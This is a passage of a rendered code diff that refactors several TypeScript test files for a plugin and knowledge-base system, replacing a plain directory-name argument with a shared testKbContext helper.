|
expect(plugin?.manifest).toEqual({
|
|
152
153
|
name: 'ado',
|
|
153
154
|
version: '1.3.5',
|
|
@@ -16,6 +16,7 @@ import { NodeGitRunner } from '../../workflow/git/node-git-runner.js';
|
|
|
16
16
|
import express from 'express';
|
|
17
17
|
import { ToolRegistry } from '../../tool-registry/tool-registry.js';
|
|
18
18
|
import { registerSkillsTools } from '../../skills/skills.tools.js';
|
|
19
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
19
20
|
|
|
20
21
|
/**
|
|
21
22
|
* Source in, distribution out — for one caller. The real resolver decides
|
|
@@ -90,17 +91,18 @@ describe('compileMarketplace', () => {
|
|
|
90
91
|
await write('Skills/Sales/pitch/SKILL.md', '---\ndescription: Pitch.\n---\n');
|
|
91
92
|
|
|
92
93
|
const disk = new NodeFs();
|
|
93
|
-
const
|
|
94
|
+
const kb = testKbContext({ kbDirName: KB_DIR });
|
|
95
|
+
const source = new KbPluginSource(disk, kb);
|
|
94
96
|
const access = new AccessControlService(workspaceService, KB_DIR, disk);
|
|
95
|
-
const skills = new SkillService(workspaceService, access,
|
|
97
|
+
const skills = new SkillService(workspaceService, access, kb, disk);
|
|
96
98
|
catalog = skills;
|
|
97
|
-
const links = new PluginLinkIndex(workspaceService, skills, access,
|
|
99
|
+
const links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
|
|
98
100
|
compiler = new MarketplaceCompilerService(
|
|
99
101
|
workspaceService,
|
|
100
102
|
access,
|
|
101
103
|
skills,
|
|
102
104
|
links,
|
|
103
|
-
|
|
105
|
+
kb,
|
|
104
106
|
{
|
|
105
107
|
name: 'acme-hexis',
|
|
106
108
|
owner: 'Acme',
|
|
@@ -8,6 +8,7 @@ import {
|
|
|
8
8
|
} from '../join-request-jobs.service.js';
|
|
9
9
|
import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
|
|
10
10
|
import { FakeJoinRequestStore } from './fake-join-request-store.js';
|
|
11
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
11
12
|
|
|
12
13
|
/**
|
|
13
14
|
* The git half of a join request, on its own: what it does to the row it was
|
|
@@ -40,7 +41,7 @@ function harness(over: Partial<JoinRequestJobsDeps> = {}, sharedStore?: FakeJoin
|
|
|
40
41
|
const jobs = new PluginJoinRequestJobs(store, {
|
|
41
42
|
workflow: workflow as never,
|
|
42
43
|
workspaceService: workspaceService as never,
|
|
43
|
-
kbDirName: KB,
|
|
44
|
+
kb: testKbContext({ kbDirName: KB }),
|
|
44
45
|
target: async () => ({ folder: 'Plugins/Finance', displayName: 'Finance' }),
|
|
45
46
|
requester: async (mail) => ({ ...ALI_USER, email: mail }),
|
|
46
47
|
...over,
|
|
@@ -9,6 +9,7 @@ import {
|
|
|
9
9
|
import { type WorkspaceService } from '../../workspace/workspace.service.js';
|
|
10
10
|
import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
|
|
11
11
|
import { JoinRequestsService } from '../join-requests.service.js';
|
|
12
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
12
13
|
|
|
13
14
|
/**
|
|
14
15
|
* The derived lifecycle: a join request is open exactly while its branch's
|
|
@@ -54,7 +55,7 @@ function makeHarness(byRef: Record<string, string>) {
|
|
|
54
55
|
rejectChangeRequest: vi.fn(async () => ({ number: 7, state: 'closed' })),
|
|
55
56
|
deleteBranch: vi.fn(async () => undefined),
|
|
56
57
|
} as unknown as IWorkflowService;
|
|
57
|
-
return { svc: new JoinRequestsService(workspaceService, workflow), workflow, workspaceService };
|
|
58
|
+
return { svc: new JoinRequestsService(workspaceService, workflow, testKbContext()), workflow, workspaceService };
|
|
58
59
|
}
|
|
59
60
|
|
|
60
61
|
const refs = (branchMd: string | undefined, defaultMd = DEFAULT_MD) => ({
|
|
@@ -12,6 +12,7 @@ import { KbPluginSource } from '../discovery/kb-plugin-source.js';
|
|
|
12
12
|
import { PluginProvisionService } from '../plugin-provision.service.js';
|
|
13
13
|
import { createPluginCreationRoutes } from '../plugins.routes.js';
|
|
14
14
|
import { CREATE_PLUGIN } from '../plugins.tools.js';
|
|
15
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
15
16
|
|
|
16
17
|
/**
|
|
17
18
|
* Both doors into plugin creation, through the code each one really runs.
|
|
@@ -72,9 +73,9 @@ async function makeHarness(): Promise<Harness> {
|
|
|
72
73
|
workspaceService,
|
|
73
74
|
{ runPendingCommit: vi.fn(async () => undefined) },
|
|
74
75
|
{ invalidate: vi.fn() } as unknown as IAccessControl,
|
|
75
|
-
KB,
|
|
76
|
+
testKbContext({ kbDirName: KB }),
|
|
76
77
|
undefined,
|
|
77
|
-
new KbPluginSource(new NodeFs()),
|
|
78
|
+
new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })),
|
|
78
79
|
new NodeFs(),
|
|
79
80
|
);
|
|
80
81
|
|
|
@@ -185,7 +186,7 @@ describe('creation derives and stores the display name the same way through ever
|
|
|
185
186
|
await h.byTool('design');
|
|
186
187
|
// `access.md` is what makes a folder exist to discovery; provisioning
|
|
187
188
|
// wrote it, so the catalog sees both plugins.
|
|
188
|
-
const { plugins } = await new KbPluginSource(new NodeFs()).discover(path.join(h.dir, KB));
|
|
189
|
+
const { plugins } = await new KbPluginSource(new NodeFs(), testKbContext({ kbDirName: KB })).discover(path.join(h.dir, KB));
|
|
189
190
|
// Walk order, which is the folders' — `design` before `Sales Team`.
|
|
190
191
|
expect(plugins.map((p) => [p.name, p.displayName])).toEqual([
|
|
191
192
|
['design', 'design'],
|
|
@@ -12,9 +12,11 @@ import type { WorkspaceService } from '../../workspace/workspace.service.js';
|
|
|
12
12
|
import type { IAccessControl } from '../../access/access-control.interface.js';
|
|
13
13
|
import type { ISkillService, SkillSummary } from '../../skills/skills.contract.js';
|
|
14
14
|
import type { IToolManualService, ToolManualSummary } from '../../tool-manuals/tool-manuals.contract.js';
|
|
15
|
+
import { testKbContext } from '../../../__tests__/kb-context.js';
|
|
15
16
|
|
|
16
17
|
const KB_DIR = 'knowledge-base';
|
|
17
18
|
const wsId = workspaceIdForBranch(DEFAULT_BRANCH);
|
|
19
|
+
const kbContext = testKbContext({ kbDirName: KB_DIR });
|
|
18
20
|
|
|
19
21
|
const OLGA = { name: 'Olga Ivanova', email: 'olga@bevel.software' };
|
|
20
22
|
|
|
@@ -70,8 +72,8 @@ describe('PluginIndexService', () => {
|
|
|
70
72
|
opts.access ?? principals,
|
|
71
73
|
skillService(opts.skills),
|
|
72
74
|
toolService(opts.tools),
|
|
73
|
-
|
|
74
|
-
new KbPluginSource(new NodeFs()),
|
|
75
|
+
kbContext,
|
|
76
|
+
new KbPluginSource(new NodeFs(), kbContext),
|
|
75
77
|
Date.now,
|
|
76
78
|
opts.links,
|
|
77
79
|
);
|
|
@@ -261,8 +263,8 @@ describe('PluginIndexService', () => {
|
|
|
261
263
|
principals,
|
|
262
264
|
skillService(skills('Skills/Eng/deploy', 'Skills/Eng/rollback', 'Plugins/Product/roadmap')),
|
|
263
265
|
toolService(),
|
|
264
|
-
|
|
265
|
-
new KbPluginSource(new NodeFs()),
|
|
266
|
+
kbContext,
|
|
267
|
+
new KbPluginSource(new NodeFs(), kbContext),
|
|
266
268
|
Date.now,
|
|
267
269
|
links,
|
|
268
270
|
).catalog();
|